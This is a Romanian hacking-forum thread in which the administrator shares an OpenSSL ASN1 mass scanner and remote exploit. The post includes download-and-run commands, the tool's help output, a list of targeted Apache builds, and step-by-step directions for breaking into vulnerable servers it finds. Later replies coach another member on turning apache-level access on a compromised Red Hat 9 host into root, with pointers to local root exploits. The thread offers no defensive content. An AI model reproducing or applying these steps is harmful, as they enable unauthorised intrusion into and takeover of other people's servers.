Security.MyForum.ro Security.MyForum.ro
BackTrack Linux - Penetration Testing Distribution
Security.MyForum.ro
FAQFAQ  SearchSearch  RegisterRegister  ProfileProfile  MemberlistMemberlist  UsergroupsUsergroups  Log in to check your private messagesLog in to check your private messages  Log inLog in 

OpenSSL ASN1 scanner.

 
Reply to topic    Security.MyForum.ro Forum Index -> OpenSSL ASN1 scanner
View previous topic :: View next topic  
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania

PostPosted: 20/10/2007 08:36    Post subject: OpenSSL ASN1 scanner. Reply with quote

Acest scanner exploateaza vulnerabilitati prin conexiunile SSL ( Secure Sockets Layer ) care este un protocol pentru Internet. Acest protocol este utilizat pentru a face un trasfer securizat client/server. Practic actioneaza ca un tunel intre client/server.

Oricum e usor de folosit .. il puteti lua de aici :

wget geocities.com/ialin2003/selena2.tgz
tar zxvf selena2.tgz
cd scan
./scan -s 69
./scan -s 69.0
./scan -s 69.0.0
./scan -s 69.0.0.0

Code:
[root@ns scan]# cat README
/*
 *  OpenSSL ASN1 local & remote deallocation exploit & scanner
 *
 *  by NightF0X <nightf0x09>
 *
 *  Thanks to Garret and others who didn't want to have their name written for their help.
 *
 * This code was written in educational scope only. Open Source 4 life :P
 *
 */

scanner:
---------------------------------------------------------------------
..:: Ma$$ asn-scann3r made by NightF0X ::..
..::     SPECIAL THANX TO: Garret      ::..

FOLOSIRE:
./scan: [optiuni] <clasa>/<ip>
  -s <clasa> clasa de unde vrei sa inceapa scanarea
  -v <ip> http-scan afiseaza informatii despre server
  -h helpu asta

Exemple:

         pentru scan:
          ./scan -s 69
          ./scan -s 69.0
          ./scan -s 69.0.0
          ./scan -s 69.0.0.0

         pentru httpdtype:
          ./scan -v 127.0.0.1
---------------------------------------------------------------------
./scan-v 127.0.0.1

..:: Ma$$ asn-scann3r made by NightF0X ::..
..::     DISTINCT THANX TO: Garret      ::..

IP: 127.0.0.1
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:22:55 GMT
Server: Apache/1.3.34 (Unix) mod_ssl/2.8.25 OpenSSL/0.9.7g PHP/4.4.0
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Last-Modified: Mon, 24 Oct 2005 19:08:21 GMT
ETag: "3e522b-a71-435d3125;43771fe6
---------------------------------------------------------------------

./scan -s 192.168.0.1

..:: Ma$$ asn-scann3r made by NightF0X ::..
..::     EXCEPÈ›IONAL THANX TO: Garret      ::..

START SCANNING FROM:  192.168.0.1
vulnerable & exploitable servers
will be saved in file: vuln.txt

Trying 192.168.0.56
        -> send_client_hello
        <ok> send_client_hello
        <- ok
        check exploitable:  YES

ctrl+c
cat vuln.txt
ip-uri vulnerabile. scanarea a inceput de la 192.168.0.1
-------------------------------------------------------------------
192.168.0.56

HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:29:42 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Last-Modified: Tue, 24 May 2005 18:03:05 GMT
ETag: "471ce5-2b09-10840"
Accept-Ranges: bytes
Content-Length: 11017
Connection: close
Content-Type: text/html; charset=ISO-8859-1

-------------------------------------------------------------------

exploit:

 OpenSSL ASN1 deallocation exploit for linux/x86
 this copy for Codak

Options:
  -h, --help          - prints this help
  -r, --hostname      - which box you want hacked ?
                        (default: name returned by hostname function)
  -p, --port          - service port num - users connect
                        to it (https: 443, smtp: 25)
  -c, --check         - check only remote if it's exploitable, not exploit
  -x, --retaddr       - jmp *ecx / call *ecx instruction, (ff e1)
                        request use writeable address (default: 0xbfffe1ff)
                        frist unlink we will write it to some writeable address
  -z, --retloc        - free ()'s got address, some address we should rewrite it
                        (eg: objdump -R /path/httpd | grep free)
  -v, --verbose       - to be verbose
  -s, --gotaddr       - brute attack, guess the free's got address
                        (eg: 0x080xxxxx)
  -e, --stack_addr    - brute stack return address (default: 0xbffffefc)
  -t, --type          - try the knowns targets. (0 to list)


targets:

----+-------------------------------------------------------
  1 | SuSE 9.0 (apache-1.3.28-60.i586.rpm)
  2 | SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
  3 | SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
  4 | SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
  5 | SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
  6 | Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
  7 | Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
  8 | Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
  9 | Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
 10 | Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
 11 | Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
 12 | Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
 13 | Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
 14 | Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)
----+-------------------------------------------------------
[root@ns scan]#


Cand in vuln.txt gasesti o versiune din targeturile de mai sus dai ./x "numarul corespunzator versiunii".

Daca in vuln.txt am gasit asa .. ex :

192.168.0.56

HTTP/1.1 200 OK
Date: Mon, 14 Nov 2005 12:29:42 GMT
Server: Apache/2.0.40 (Red Hat Linux)
Last-Modified: Tue, 24 May 2005 18:03:05 GMT
ETag: "471ce5-2b09-10840"
Accept-Ranges: bytes
Content-Length: 11017
Connection: close
Content-Type: text/html; charset=ISO-8859-1

Incercam sa intram in el asa :

./x 10 192.168.0.56
Daca nu merge cu ./x 10 continuam cu ./x 11 ip ./x 12 ip ./x 13 ip ./x 14 ip
Daca nu merge nici cu astea .. inseamna ca nu se poate intra in el si mai incercati cu alte ip-uri Smile

Metoda de securizare impotriva acestui scanner .

Chiar nu stiu o metoda de securizare .. daca stiti voi postati aici va rog.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
regclener
Junior
Junior


Joined: 08 Jun 2008
Posts: 4
Location: dasdas

PostPosted: 08/06/2008 04:39    Post subject: Su un program de a obtine drept de root? Reply with quote

Am necesitate pls de un program cu care sa obtin derept de root.
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania

PostPosted: 08/06/2008 17:28    Post subject: Re: Su un program de a obtine drept de root? Reply with quote

regclener wrote:
Am nevoie pls de un program cu care sa obtin derept de root.


Am si uitat de forumul asta Smile A fost un proiect neterminat .. ma mir ca sunt si utilizatori Smile

Bun .. deci vrei un program cu care sa obtii drept de root .

Vezi la sectiunea Exploituri pentru drept de ROOT
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
regclener
Junior
Junior


Joined: 08 Jun 2008
Posts: 4
Location: dasdas

PostPosted: 08/06/2008 19:11    Post subject: :)) Reply with quote

Am inteles ma refer la scanerul asta, intri ai drept de apache, dreptul de apache vreau sa il transform in drept de root mai demult era un programel numit sslroot dar nu imi da voie sa in execut, imi da o eroare ceva de genu ca nu poate executa fisiere binare. Ai vreo idee cum transform dreptul de apache in drept de root
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania

PostPosted: 08/06/2008 20:01    Post subject: Re: :)) Reply with quote

regclener wrote:
Am inteles ma refer la scanerul asta, intri ai drept de apache, dreptul de apache vreau sa il transform in drept de root mai demult era un programel numit sslroot dar nu imi da voie sa in execut, imi da o eroare ceva de genu ca nu poate executa fisiere binare. Ai vreo idee cum transform dreptul de apache in drept de root


Atunci e platforma freeBSD Smile

dai un uname -a si posteaza aici
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
regclener
Junior
Junior


Joined: 08 Jun 2008
Posts: 4
Location: dasdas

PostPosted: 08/06/2008 20:36    Post subject: :)) Reply with quote

Linux localhost.localdomain 2.4.20-8smp #1 SMP Thu Mar 13 17:45:54 EST 2003 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache)


e o distributie redhat 9
pls daca stii da`mi un program cu care pot sa schimb dreptul de apache in drept de root

bash: ./sslroot: cannot execute binary file iar exploitul local de root 2008 nu merge


Last edited by regclener on 08/06/2008 20:47; edited 1 time in total
Back to top
View user's profile Send private message
Author Message
MAD
Administrator
Administrator
MAD

Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania

PostPosted: 08/06/2008 20:45    Post subject: Reply with quote

Da ..

Si inainte sa rulezi exploitul dai chmod +x <nume>

Citeste aici :

http://security.myforum.ro/exploituri-pentru-drept-de-root-vf10.html
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################

[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url]
Back to top
View user's profile Send private message Send e-mail
Author Message
regclener
Junior
Junior


Joined: 08 Jun 2008
Posts: 4
Location: dasdas

PostPosted: 09/06/2008 21:39    Post subject: :(( Reply with quote

Ma las pagubas nimic nu merge, ori nu ma pricep eu ori nu am cu ce. Nu stiu alti ce metode folosesc dar mie imi reuseste. Cred ca am niste exploturi antice.
Back to top
View user's profile Send private message
Author Message
absolutep0wer
Junior
Junior


Joined: 03 Apr 2009
Posts: 1

PostPosted: 10/04/2009 21:23    Post subject: Reply with quote

Salutare,sunt nou pe forum si as vrea sa va salut pe toti.
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Security.MyForum.ro Forum Index -> OpenSSL ASN1 scanner All times are GMT + 2 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro